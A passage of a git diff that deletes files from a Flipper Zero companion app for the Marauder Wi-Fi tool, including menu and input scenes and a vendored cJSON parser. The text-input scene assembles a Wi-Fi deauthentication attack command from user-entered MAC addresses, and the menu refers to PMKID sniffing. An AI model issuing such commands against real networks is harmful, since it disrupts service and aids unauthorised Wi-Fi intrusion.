variable_item_set_current_value_text(item, menu_item->options_menu[item_index]); - app->selected_option_index[app->selected_menu_index] = item_index; -} - -void wifi_marauder_scene_start_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - var_item_list, wifi_marauder_scene_start_var_list_enter_callback, app); - - VariableItem* item; - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - item = variable_item_list_add( - var_item_list, - items[i].item_string, - items[i].num_options_menu, - wifi_marauder_scene_start_var_list_change_callback, - app); - variable_item_set_current_value_index(item, app->selected_option_index[i]); - variable_item_set_current_value_text( - item, items[i].options_menu[app->selected_option_index[i]]); - } - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); - - // Wait, if the user hasn't initialized sdcard settings, let's prompt them once (then come back here) - if(app->need_to_prompt_settings_init) { - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); - } -} - -bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == WifiMarauderEventStartKeyboard) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); - } else if(event.event == WifiMarauderEventStartConsole) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - } else if(event.event == WifiMarauderEventStartSettingsInit) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); - } else if(event.event == WifiMarauderEventStartLogViewer) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneLogViewer); - } else if(event.event == WifiMarauderEventStartScriptSelect) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptSelect); - } else if(event.event == WifiMarauderEventStartSniffPmkidOptions) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSniffPmkidOptions); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); - consumed = true; - } else if(event.type == SceneManagerEventTypeBack) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_start_on_exit(void* context) { - WifiMarauderApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_text_input.c deleted file mode 100644 index b721e868d..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_text_input.c +++ /dev/null @@ -1,154 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_text_input_callback(void* context) { - WifiMarauderApp* app = context; - - switch(app->special_case_input_step) { - case 0: // most commands - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole); - break; - case 1: // special case for deauth: save source MAC - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventSaveSourceMac); - break; - case 2: // special case for deauth: save destination MAC - view_dispatcher_send_custom_event( - app->view_dispatcher, WifiMarauderEventSaveDestinationMac); - break; - default: - break; - } -} - -void wifi_marauder_scene_text_input_on_enter(void* context) { - WifiMarauderApp* app = context; - - if(0 == - strncmp("attack -t deauth -s", app->selected_tx_string, strlen("attack -t deauth -s"))) { - // Special case for manual deauth input - app->special_case_input_step = 1; - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - } else if(false == app->is_custom_tx_string) { - // Most commands - app->special_case_input_step = 0; - - // Fill text input with selected string so that user can add to it - size_t length = strlen(app->selected_tx_string); - furi_assert(length < WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - strncpy(app->text_input_store, app->selected_tx_string, length); - - // Add space - because flipper keyboard currently doesn't have a space - app->text_input_store[length] = ' '; - app->text_input_store[length + 1] = '\0'; - app->is_custom_tx_string = true; - } - - // Setup view - TextInput* text_input = app->text_input; - // Add help message to header - if(app->special_case_input_step == 1) { - text_input_set_header_text(text_input, "Enter source MAC"); - } else if(0 == strncmp("ssid -a -g", app->selected_tx_string, strlen("ssid -a -g"))) { - text_input_set_header_text(text_input, "Enter # SSIDs to generate"); - } else if(0 == strncmp("ssid -a -n", app->selected_tx_string, strlen("ssid -a -n"))) { - text_input_set_header_text(text_input, "Enter SSID name to add"); - } else if(0 == strncmp("ssid -r", app->selected_tx_string, strlen("ssid -r"))) { - text_input_set_header_text(text_input, "Remove target from SSID list"); - } else if(0 == strncmp("select -a", app->selected_tx_string, strlen("select -a"))) { - text_input_set_header_text(text_input, "Add target from AP list"); - } else if(0 == strncmp("select -s", app->selected_tx_string, strlen("select -s"))) { - text_input_set_header_text(text_input, "Add target from SSID list"); - } else { - text_input_set_header_text(text_input, "Add command arguments"); - } - text_input_set_result_callback( - text_input, - wifi_marauder_scene_text_input_callback, - app, - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); -} - -bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == WifiMarauderEventStartConsole) { - // Point to custom string to send - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - consumed = true; - } else if(event.event == WifiMarauderEventSaveSourceMac) { - if(12 != strlen(app->text_input_store)) { - text_input_set_header_text(app->text_input, "MAC must be 12 hex chars!"); - } else { - snprintf( - app->special_case_input_src_addr, - sizeof(app->special_case_input_src_addr), - "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c", - app->text_input_store[0], - app->text_input_store[1], - app->text_input_store[2], - app->text_input_store[3], - app->text_input_store[4], - app->text_input_store[5], - app->text_input_store[6], - app->text_input_store[7], - app->text_input_store[8], - app->text_input_store[9], - app->text_input_store[10], - app->text_input_store[11]); - - // Advance scene to input destination MAC, clear text input - app->special_case_input_step = 2; - bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE); - text_input_set_header_text(app->text_input, "Enter destination MAC"); - } - consumed = true; - } else if(event.event == WifiMarauderEventSaveDestinationMac) { - if(12 != strlen(app->text_input_store)) { - text_input_set_header_text(app->text_input, "MAC must be 12 hex chars!"); - } else { - snprintf( - app->special_case_input_dst_addr, - sizeof(app->special_case_input_dst_addr), - "%c%c:%c%c:%c%c:%c%c:%c%c:%c%c", - app->text_input_store[0], - app->text_input_store[1], - app->text_input_store[2], - app->text_input_store[3], - app->text_input_store[4], - app->text_input_store[5], - app->text_input_store[6], - app->text_input_store[7], - app->text_input_store[8], - app->text_input_store[9], - app->text_input_store[10], - app->text_input_store[11]); - - // Construct command with source and destination MACs - snprintf( - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - "attack -t deauth -s %18s -d %18s", - app->special_case_input_src_addr, - app->special_case_input_dst_addr); - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - } - consumed = true; - } - } - - return consumed; -} - -void wifi_marauder_scene_text_input_on_exit(void* context) { - WifiMarauderApp* app = context; - - text_input_reset(app->text_input); -} diff --git a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_user_input.c b/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_user_input.c deleted file mode 100644 index ff6b3b9a5..000000000 --- a/applications/external/esp32cam_marauder_companion/scenes/wifi_marauder_scene_user_input.c +++ /dev/null @@ -1,156 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -bool wifi_marauder_scene_user_input_validator_number_callback( - const char* text, - FuriString* error, - void* context) { - UNUSED(context); - for(int i = 0; text[i] != '\0'; i++) { - if(text[i] < '0' || text[i] > '9') { - furi_string_printf(error, "This is not\na valid\nnumber!"); - return false; - } - } - return true; -} - -bool wifi_marauder_scene_user_input_validator_file_callback( - const char* text, - FuriString* error, - void* context) { - UNUSED(context); - if(strlen(text) == 0) { - furi_string_printf(error, "File name\ncannot be\nblank!"); - return false; - } - return true; -} - -void wifi_marauder_scene_user_input_ok_callback(void* context) { - WifiMarauderApp* app = context; - - File* file = NULL; - char* file_path = NULL; - - switch(app->user_input_type) { - // Writes the string value of the reference - case WifiMarauderUserInputTypeString: - if(app->user_input_string_reference != NULL) { - strncpy( - *app->user_input_string_reference, - app->text_input_store, - strlen(app->text_input_store) + 1); - app->user_input_string_reference = NULL; - } - break; - // Writes the numerical value of the reference - case WifiMarauderUserInputTypeNumber: - if(app->user_input_number_reference != NULL) { - *app->user_input_number_reference = atoi(app->text_input_store); - app->user_input_number_reference = NULL; - } - break; - // Creates a file with the name entered by the user, if it does not exist - case WifiMarauderUserInputTypeFileName: - file = storage_file_alloc(app->storage); - // Use application directory if not specified - if(app->user_input_file_dir == NULL) { - app->user_input_file_dir = strdup(MARAUDER_APP_FOLDER); - } - if(app->user_input_file_extension != NULL) { - size_t file_path_len = strlen(app->user_input_file_dir) + - strlen(app->text_input_store) + - strlen(app->user_input_file_extension) + 3; - file_path = (char*)malloc(file_path_len); - snprintf( - file_path, - file_path_len, - "%s/%s.%s", - app->user_input_file_dir, - app->text_input_store, - app->user_input_file_extension); - } else { - size_t file_path_len = - strlen(app->user_input_file_dir) + strlen(app->text_input_store) + 2; - file_path = (char*)malloc(file_path_len); - snprintf( - file_path, file_path_len, "%s/%s", app->user_input_file_dir, app->text_input_store); - } - if(storage_file_open(file, file_path, FSAM_WRITE, FSOM_CREATE_NEW)) { - storage_file_close(file); - } - // Free memory - free(app->user_input_file_dir); - app->user_input_file_dir = NULL; - free(app->user_input_file_extension); - app->user_input_file_extension = NULL; - free(file_path); - storage_file_free(file); - break; - default: - break; - } - - scene_manager_previous_scene(app->scene_manager); -} - -void wifi_marauder_scene_user_input_on_enter(void* context) { - WifiMarauderApp* app = context; - - switch(app->user_input_type) { - // Loads the string value of the reference - case WifiMarauderUserInputTypeString: - text_input_set_header_text(app->text_input, "Enter value:"); - text_input_set_validator(app->text_input, NULL, app); - if(app->user_input_string_reference != NULL) { - strncpy( - app->text_input_store, - *app->user_input_string_reference, - strlen(*app->user_input_string_reference) + 1); - } - text_input_add_illegal_symbols(app->text_input); - break; - // Loads the numerical value of the reference - case WifiMarauderUserInputTypeNumber: - text_input_set_header_text(app->text_input, "Enter a valid number:"); - text_input_set_validator( - app->text_input, wifi_marauder_scene_user_input_validator_number_callback, app); - if(app->user_input_number_reference != NULL) { - char number_str[32]; - snprintf(number_str, sizeof(number_str), "%d", *app->user_input_number_reference); - strncpy(app->text_input_store, number_str, strlen(number_str) + 1); - } - break; - // File name - case WifiMarauderUserInputTypeFileName: - text_input_set_header_text(app->text_input, "Enter file name:"); - text_input_set_validator( - app->text_input, wifi_marauder_scene_user_input_validator_file_callback, app); - break; - default: - scene_manager_previous_scene(app->scene_manager); - return; - } - - text_input_set_result_callback( - app->text_input, - wifi_marauder_scene_user_input_ok_callback, - app, - app->text_input_store, - WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput); -} - -bool wifi_marauder_scene_user_input_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_user_input_on_exit(void* context) { - WifiMarauderApp* app = context; - memset(app->text_input_store, 0, sizeof(app->text_input_store)); - text_input_reset(app->text_input); -} diff --git a/applications/external/esp32cam_marauder_companion/script/cJSON.c b/applications/external/esp32cam_marauder_companion/script/cJSON.c deleted file mode 100644 index 06341fe38..000000000 --- a/applications/external/esp32cam_marauder_companion/script/cJSON.c +++ /dev/null @@ -1,2743 +0,0 @@ -/* - Copyright (c) 2009-2017 Dave Gamble and cJSON contributors - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - THE SOFTWARE. -*/ - -/* cJSON */ -/* JSON parser in C. */ - -/* disable warnings about old C89 functions in MSVC */ -#if !defined(_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) -#define _CRT_SECURE_NO_DEPRECATE -#endif - -#ifdef __GNUC__ -#pragma GCC visibility push(default) -#endif -#if defined(_MSC_VER) -#pragma warning(push) -/* disable warning about single line comments in system headers */ -#pragma warning(disable : 4001) -#endif - -#include -#include -#include -#include -#include -#include -#include - -#ifdef ENABLE_LOCALES -#include -#endif - -#if defined(_MSC_VER) -#pragma warning(pop) -#endif -#ifdef __GNUC__ -#pragma GCC visibility pop -#endif - -#include "cJSON.h" - -/* define our own boolean type */ -#ifdef true -#undef true -#endif -#define true ((cJSON_bool)1) - -#ifdef false -#undef false -#endif -#define false ((cJSON_bool)0) - -/* define isnan and isinf for ANSI C, if in C99 or above, isnan and isinf has been defined in math.h */ -#ifndef isinf -#define isinf(d) (isnan((d - d)) && !isnan(d)) -#endif -#ifndef isnan -#define isnan(d) (d != d) -#endif - -#ifndef NAN -#ifdef _WIN32 -#define NAN sqrt(-1.0) -#else -#define NAN 0.0 / 0.0 -#endif -#endif - -typedef struct { - const unsigned char* json; - size_t position; -} error; -static error global_error = {NULL, 0}; - -CJSON_PUBLIC(const char*) cJSON_GetErrorPtr(void) { - return (const char*)(global_error.json + global_error.position); -} - -CJSON_PUBLIC(char*) cJSON_GetStringValue(const cJSON* const item) { - if(!cJSON_IsString(item)) { - return NULL; - } - - return item->valuestring; -} - -CJSON_PUBLIC(double) cJSON_GetNumberValue(const cJSON* const item) { - if(!cJSON_IsNumber(item)) { - return (double)NAN; - } - - return item->valuedouble; -} - -/* This is a safeguard to prevent copy-pasters from using incompatible C and header files */ -#if(CJSON_VERSION_MAJOR != 1) || (CJSON_VERSION_MINOR != 7) || (CJSON_VERSION_PATCH != 15) -#error cJSON.h and cJSON.c have different versions. Make sure that both have the same. -#endif - -CJSON_PUBLIC(const char*) cJSON_Version(void) { - static char version[15]; - sprintf(version, "%i.%i.%i", CJSON_VERSION_MAJOR, CJSON_VERSION_MINOR, CJSON_VERSION_PATCH); - - return version; -} - -/* Case insensitive string comparison, doesn't consider two NULL pointers equal though */ -static int case_insensitive_strcmp(const unsigned char* string1, const unsigned char* string2) { - if((string1 == NULL) || (string2 == NULL)) { - return 1; - } - - if(string1 == string2) { - return 0; - } - - for(; tolower(*string1) == tolower(*string2); (void)string1++, string2++) { - if(*string1 == '\0') { - return 0; - } - } - - return tolower(*string1) - tolower(*string2); -} - -typedef struct internal_hooks { - void*(CJSON_CDECL* allocate)(size_t size); - void(CJSON_CDECL* deallocate)(void* pointer); - void*(CJSON_CDECL* reallocate)(void* pointer, size_t size); -} internal_hooks; - -#if defined(_MSC_VER) -/* work around MSVC error C2322: '...' address of dllimport '...' is not static */ -static void* CJSON_CDECL internal_malloc(size_t size) { - return malloc(size); -} -static void CJSON_CDECL internal_free(void* pointer) { - free(pointer); -} -static void* CJSON_CDECL internal_realloc(void* pointer, size_t size) { - return realloc(pointer, size); -} -#else -#define internal_malloc malloc -#define internal_free free -#define internal_realloc realloc -#endif - -/* strlen of character literals resolved at compile time */ -#define static_strlen(string_literal) (sizeof(string_literal) - sizeof("")) - -static internal_hooks global_hooks = {internal_malloc, internal_free, internal_realloc}; - -static unsigned char* - cJSON_strdup(const unsigned char* string, const internal_hooks* const hooks) { - size_t length = 0; - unsigned char* copy = NULL; - - if(string == NULL) { - return NULL; - } - - length = strlen((const char*)string) + sizeof(""); - copy = (unsigned char*)hooks->allocate(length); - if(copy == NULL) { - return NULL; - } - memcpy(copy, string, length); - - return copy; -} - -CJSON_PUBLIC(void) cJSON_InitHooks(cJSON_Hooks* hooks) { - if(hooks == NULL) { - /* Reset hooks */ - global_hooks.allocate = malloc; - global_hooks.deallocate = free; - global_hooks.reallocate = realloc; - return; - } - - global_hooks.allocate = malloc; - if(hooks->malloc_fn != NULL) { - global_hooks.allocate = hooks->malloc_fn; - } - - global_hooks.deallocate = free; - if(hooks->free_fn != NULL) { - global_hooks.deallocate = hooks->free_fn; - } - - /* use realloc only if both free and malloc are used */ - global_hooks.reallocate = NULL; - if((global_hooks.allocate == malloc) && (global_hooks.deallocate == free)) { - global_hooks.reallocate = realloc; - } -} - -/* Internal constructor. */ -static cJSON* cJSON_New_Item(const internal_hooks* const hooks) { - cJSON* node = (cJSON*)hooks->allocate(sizeof(cJSON)); - if(node) { - memset(node, '\0', sizeof(cJSON)); - } - - return node; -} - -/* Delete a cJSON structure. */ -CJSON_PUBLIC(void) cJSON_Delete(cJSON* item) { - cJSON* next = NULL; - while(item != NULL) { - next = item->next; - if(!(item->type & cJSON_IsReference) && (item->child != NULL)) { - cJSON_Delete(item->child); - } - if(!(item->type & cJSON_IsReference) && (item->valuestring != NULL)) { - global_hooks.deallocate(item->valuestring); - } - if(!(item->type & cJSON_StringIsConst) && (item->string != NULL)) { - global_hooks.deallocate(item->string); - } - global_hooks.deallocate(item); - item = next; - } -} - -/* get the decimal point character of the current locale */ -static unsigned char get_decimal_point(void) { -#ifdef ENABLE_LOCALES - struct lconv* lconv = localeconv(); - return (unsigned char)lconv->decimal_point[0]; -#else - return '.'; -#endif -} - -typedef struct { - const unsigned char* content; - size_t length; - size_t offset; - size_t depth; /* How deeply nested (in arrays/objects) is the input at the current offset. */ - internal_hooks hooks; -} parse_buffer; - -/* check if the given size is left to read in a given parse buffer (starting with 1) */ -#define can_read(buffer, size) \ - ((buffer != NULL) && (((buffer)->offset + size) <= (buffer)->length)) -/* check if the buffer can be accessed at the given index (starting with 0) */ -#define can_access_at_index(buffer, index) \ - ((buffer != NULL) && (((buffer)->offset + index) < (buffer)->length)) -#define cannot_access_at_index(buffer, index) (!can_access_at_index(buffer, index)) -/* get a pointer to the buffer at the position */ -#define buffer_at_offset(buffer) ((buffer)->content + (buffer)->offset) - -/* Converts an array of characters to double. Alternative implementation of strtod() */ -double string_to_double(const char* str, char** endptr) { - double result = 0.0; - int sign = 1; - const char* p = str; - - while(isspace((unsigned char)*p)) p++; - - if(*p == '-') { - sign = -1; - p++; - } else if(*p == '+') { - p++; - } - - while(isdigit((unsigned char)*p)) { - result = result * (double)(10) + ((double)(*p - '0')); - p++; - } - - if(*p == '.') { - double fraction = 0.1; - p++; - - while(isdigit((unsigned char)p[0])) { - fraction *= 0.1L; - result += (p++[0] - '0') * fraction; - } - } - - if(*p == 'e' || *p == 'E') { - int exponent = 0; - int exp_sign = 1; - p++; - - if(*p == '-') { - exp_sign = -1; - p++; - } else if(*p == '+') { - p++; - } - - while(isdigit((unsigned char)*p)) { - exponent = exponent * 10 + (*p - '0'); - p++; - } - - exponent *= exp_sign; - result *= pow(10, exponent); - } - - *endptr = (char*)p; - - return sign * result; -} - -/* Parse the input text to generate a number, and populate the result into item. */ -static cJSON_bool parse_number(cJSON* const item, parse_buffer* const input_buffer) { - double number = 0; - unsigned char* after_end = NULL; - unsigned char number_c_string[64]; - unsigned char decimal_point = get_decimal_point(); - size_t i = 0; - - if((input_buffer == NULL) || (input_buffer->content == NULL)) { - return false; - } - - /* copy the number into a temporary buffer and replace '.' with the decimal point - * of the current locale (for string_to_double) - * This also takes care of '\0' not necessarily being available for marking the end of the input */ - for(i = 0; (i < (sizeof(number_c_string) - 1)) && can_access_at_index(input_buffer, i); i++) { - switch(buffer_at_offset(input_buffer)[i]) { - case '0': - case '1': - case '2': - case '3': - case '4': - case '5': - case '6': - case '7': - case '8': - case '9': - case '+': - case '-': - case 'e': - case 'E': - number_c_string[i] = buffer_at_offset(input_buffer)[i]; - break; - - case '.': - number_c_string[i] = decimal_point; - break; - - default: - goto loop_end; - } - } -loop_end: - number_c_string[i] = '\0'; - - number = string_to_double((const char*)number_c_string, (char**)&after_end); - if(number_c_string == after_end) { - return false; /* parse_error */ - } - - item->valuedouble = number; - - /* use saturation in case of overflow */ - if(number >= INT_MAX) { - item->valueint = INT_MAX; - } else if(number <= (double)INT_MIN) { - item->valueint = INT_MIN; - } else { - item->valueint = (int)number; - } - - item->type = cJSON_Number; - - input_buffer->offset += (size_t)(after_end - number_c_string); - return true; -} - -/* don't ask me, but the original cJSON_SetNumberValue returns an integer or double */ -CJSON_PUBLIC(double) cJSON_SetNumberHelper(cJSON* object, double number) { - if(number >= INT_MAX) { - object->valueint = INT_MAX; - } else if(number <= (double)INT_MIN) { - object->valueint = INT_MIN; - } else { - object->valueint = (int)number; - } - - return object->valuedouble = number; -} - -CJSON_PUBLIC(char*) cJSON_SetValuestring(cJSON* object, const char* valuestring) { - char* copy = NULL; - /* if object's type is not cJSON_String or is cJSON_IsReference, it should not set valuestring */ - if(!(object->type & cJSON_String) || (object->type & cJSON_IsReference)) { - return NULL; - } - if(strlen(valuestring) <= strlen(object->valuestring)) { - strcpy(object->valuestring, valuestring); - return object->valuestring; - } - copy = (char*)cJSON_strdup((const unsigned char*)valuestring, &global_hooks); - if(copy == NULL) { - return NULL; - } - if(object->valuestring != NULL) { - cJSON_free(object->valuestring); - } - object->valuestring = copy; - - return copy; -} - -typedef struct { - unsigned char* buffer; - size_t length; - size_t offset; - size_t depth; /* current nesting depth (for formatted printing) */ - cJSON_bool noalloc; - cJSON_bool format; /* is this print a formatted print */ - internal_hooks hooks; -} printbuffer; - -/* realloc printbuffer if necessary to have at least "needed" bytes more */ -static unsigned char* ensure(printbuffer* const p, size_t needed) { - unsigned char* newbuffer = NULL; - size_t newsize = 0; - - if((p == NULL) || (p->buffer == NULL)) { - return NULL; - } - - if((p->length > 0) && (p->offset >= p->length)) { - /* make sure that offset is valid */ - return NULL; - } - - if(needed > INT_MAX) { - /* sizes bigger than INT_MAX are currently not supported */ - return NULL; - } - - needed += p->offset + 1; - if(needed <= p->length) { - return p->buffer + p->offset; - } - - if(p->noalloc) { - return NULL; - } - - /* calculate new buffer size */ - if(needed > (INT_MAX / 2)) { - /* overflow of int, use INT_MAX if possible */ - if(needed <= INT_MAX) { - newsize = INT_MAX; - } else { - return NULL; - } - } else { - newsize = needed * 2; - } - - if(p->hooks.reallocate != NULL) { - /* reallocate with realloc if available */ - newbuffer = (unsigned char*)p->hooks.reallocate(p->buffer, newsize); - if(newbuffer == NULL) { - p->hooks.deallocate(p->buffer); - p->length = 0; - p->buffer = NULL; - - return NULL; - } - } else { - /* otherwise reallocate manually */ - newbuffer = (unsigned char*)p->hooks.allocate(newsize); - if(!newbuffer) { - p->hooks.deallocate(p->buffer); - p->length = 0; - p->buffer = NULL; - - return NULL; - } - - memcpy(newbuffer, p->buffer, p->offset + 1); - p->hooks.deallocate(p->buffer); - } - p->length = newsize; - p->buffer = newbuffer; - - return newbuffer + p->offset; -} - -/* calculate the new length of the string in a printbuffer and update the offset */ -static void update_offset(printbuffer* const buffer) { - const unsigned char* buffer_pointer = NULL; - if((buffer == NULL) || (buffer->buffer == NULL)) { - return; - } - buffer_pointer = buffer->buffer + buffer->offset; - - buffer->offset += strlen((const char*)buffer_pointer); -} - -/* securely comparison of floating-point variables */ -static cJSON_bool compare_double(double a, double b) { - double maxVal = fabs(a) > fabs(b) ? fabs(a) : fabs(b); - return (fabs(a - b) <= maxVal * DBL_EPSILON); -} - -/* Render the number nicely from the given item into a string. */ -static cJSON_bool print_number(const cJSON* const item, printbuffer* const output_buffer) { - unsigned char* output_pointer = NULL; - double d = item->valuedouble; - int length = 0; - size_t i = 0; - unsigned char number_buffer[26] = {0}; /* temporary buffer to print the number into */ - unsigned char decimal_point = get_decimal_point(); - double test = 0.0; - - if(output_buffer == NULL) { - return false; - } - - /* This checks for NaN and Infinity */ - if(isnan(d) || isinf(d)) { - length = snprintf((char*)number_buffer, sizeof(number_buffer), "null"); - } else { - /* Try 15 decimal places of precision to avoid nonsignificant nonzero digits */ - length = snprintf((char*)number_buffer, sizeof(number_buffer), "%1.15g", d); - - /* Check whether the original double can be recovered */ - if((sscanf((char*)number_buffer, "%lg", &test) != 1) || !compare_double((double)test, d)) { - /* If not, print with 17 decimal places of precision */ - length = snprintf((char*)number_buffer, sizeof(number_buffer), "%1.17g", d); - } - } - - /* sprintf failed or buffer overrun occurred */ - if((length < 0) || (length > (int)(sizeof(number_buffer) - 1))) { - return false; - } - - /* reserve appropriate space in the output */ - output_pointer = ensure(output_buffer, (size_t)length + sizeof("")); - if(output_pointer == NULL) { - return false; - } - - /* copy the printed number to the output and replace locale - * dependent decimal point with '.' */ - for(i = 0; i < ((size_t)length); i++) { - if(number_buffer[i] == decimal_point) { - output_pointer[i] = '.'; - continue; - } - - output_pointer[i] = number_buffer[i]; - } - output_pointer[i] = '\0'; - - output_buffer->offset += (size_t)length; - - return true; -} - -/* parse 4 digit hexadecimal number */ -static unsigned parse_hex4(const unsigned char* const input) { - unsigned int h = 0; - size_t i = 0; - - for(i = 0; i < 4; i++) { - /* parse digit */ - if((input[i] >= '0') && (input[i] <= '9')) { - h += (unsigned int)input[i] - '0'; - } else if((input[i] >= 'A') && (input[i] <= 'F')) { - h += (unsigned int)10 + input[i] - 'A'; - } else if((input[i] >= 'a') && (input[i] <= 'f')) { - h += (unsigned int)10 + input[i] - 'a'; - } else /* invalid */ - { - return 0; - } - - if(i < 3) { - /* shift left to make place for the next nibble */ - h = h << 4; - } - } - - return h; -} - -/* converts a UTF-16 literal to UTF-8 - * A literal can be one or two sequences of the form \uXXXX */ -static unsigned char utf16_literal_to_utf8( - const unsigned char* const input_pointer, - const unsigned char* const input_end, - unsigned char** output_pointer) { - long unsigned int codepoint = 0; - unsigned int first_code = 0; - const unsigned char* first_sequence = input_pointer; - unsigned char utf8_length = 0; - unsigned char utf8_position = 0; - unsigned char sequence_length = 0; - unsigned char first_byte_mark = 0; - - if((input_end - first_sequence) < 6) { - /* input ends unexpectedly */ - goto fail; - } - - /* get the first utf16 sequence */ - first_code = parse_hex4(first_sequence + 2); - - /* check that the code is valid */ - if(((first_code >= 0xDC00) && (first_code <= 0xDFFF))) { - goto fail; - } - - /* UTF16 surrogate pair */ - if((first_code >= 0xD800) && (first_code <= 0xDBFF)) { - const unsigned char* second_sequence = first_sequence + 6; - unsigned int second_code = 0; - sequence_length = 12; /* \uXXXX\uXXXX */ - - if((input_end - second_sequence) < 6) { - /* input ends unexpectedly */ - goto fail; - } - - if((second_sequence[0] != '\\') || (second_sequence[1] != 'u')) { - /* missing second half of the surrogate pair */ - goto fail; - } - - /* get the second utf16 sequence */ - second_code = parse_hex4(second_sequence + 2); - /* check that the code is valid */ - if((second_code < 0xDC00) || (second_code > 0xDFFF)) { - /* invalid second half of the surrogate pair */ - goto fail; - } - - /* calculate the unicode codepoint from the surrogate pair */ - codepoint = 0x10000 + (((first_code & 0x3FF) << 10) | (second_code & 0x3FF)); - } else { - sequence_length = 6; /* \uXXXX */ - codepoint = first_code; - } - - /* encode as UTF-8 - * takes at maximum 4 bytes to encode: - * 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx */ - if(codepoint < 0x80) { - /* normal ascii, encoding 0xxxxxxx */ - utf8_length = 1; - } else if(codepoint < 0x800) { - /* two bytes, encoding 110xxxxx 10xxxxxx */ - utf8_length = 2; - first_byte_mark = 0xC0; /* 11000000 */ - } else if(codepoint < 0x10000) { - /* three bytes, encoding 1110xxxx 10xxxxxx 10xxxxxx */ - utf8_length = 3; - first_byte_mark = 0xE0; /* 11100000 */ - } else if(codepoint <= 0x10FFFF) { - /* four bytes, encoding 1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx */ - utf8_length = 4; - first_byte_mark = 0xF0; /* 11110000 */ - } else { - /* invalid unicode codepoint */ - goto fail; - } - - /* encode as utf8 */ - for(utf8_position = (unsigned char)(utf8_length - 1); utf8_position > 0; utf8_position--) { - /* 10xxxxxx */ - (*output_pointer)[utf8_position] = (unsigned char)((codepoint | 0x80) & 0xBF); - codepoint >>= 6; - } - /* encode first byte */ - if(utf8_length > 1) { - (*output_pointer)[0] = (unsigned char)((codepoint | first_byte_mark) & 0xFF); - } else { - (*output_pointer)[0] = (unsigned char)(codepoint & 0x7F); - } - - *output_pointer += utf8_length; - - return 